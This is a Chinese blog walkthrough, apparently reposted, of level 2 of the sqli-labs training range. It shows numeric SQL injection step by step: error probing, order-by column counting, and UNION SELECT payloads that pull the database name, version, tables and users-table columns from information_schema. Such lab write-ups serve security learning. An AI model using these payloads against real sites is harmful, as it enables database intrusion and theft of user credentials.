自学内容网 自学内容网

web——sqliabs靶场——第二关

今天来搞第二关,来看看是什么咸蛋

1.判断是否存在sql注入漏洞

输入1'

存在sql注入,报错语句为

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' LIMIT 0,1' at line 1

和第一关的报错语句相比

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1

这两个语句的区别

第二句错误发生在 ''1'' 部分,也就是在 1 的前后有多余的引号。通常在 SQL 中,字符串应该被单引号 ' 包裹,而在这个错误中,1 被包裹在了两对单引号中:''1''

第一句的错误发生在 '' 部分,也就是 SQL 查询中某个地方用单引号包裹了一个空字符串。空字符串('')作为查询条件可能是导致错误的原因。通常在 SQL 查询中使用空字符串时,除非有特定的需求,否则应避免使用空字符串作为条件。

2.判断sql注入漏洞的类型

1.数字型判断

/?id=1 and 1=1

/?id=1 and 1=2

是数字型判断

3.判断它的字段数 

/?id=1 order by 1-++

/?id=1 order by 2-++

/?id=1 order by 3-++

/?id=1 order by 4-++

还是只有三个字段

爆出显示位

/?id=-1 union select 1,2,3 --+

一定要-1,不然后面的语句不执行

如果 id 参数传入 -1,并且数据库表格没有 id = -1 的记录(比如用户表中的 id 都是正整数),那么这个查询会返回空结果。这时,如果攻击者进一步利用 UNION 操作来连接其他查询,可能绕过原始的查询结果返回机制。

可以看到是第二列和第三列里面的数据是显示在页面的

开始判断库名

/?id=-1 union select 1,database(),version()--+

数据库还是security

判断表名

/?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'

开始爆users的列名

/?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+

开始爆username和password里的数据

 

结束


原文地址:https://blog.csdn.net/2301_80905479/article/details/143613000

免责声明:本站文章内容转载自网络资源,如本站内容侵犯了原著者的合法权益,可联系本站删除。更多内容请关注自学内容网(zxcms.com)!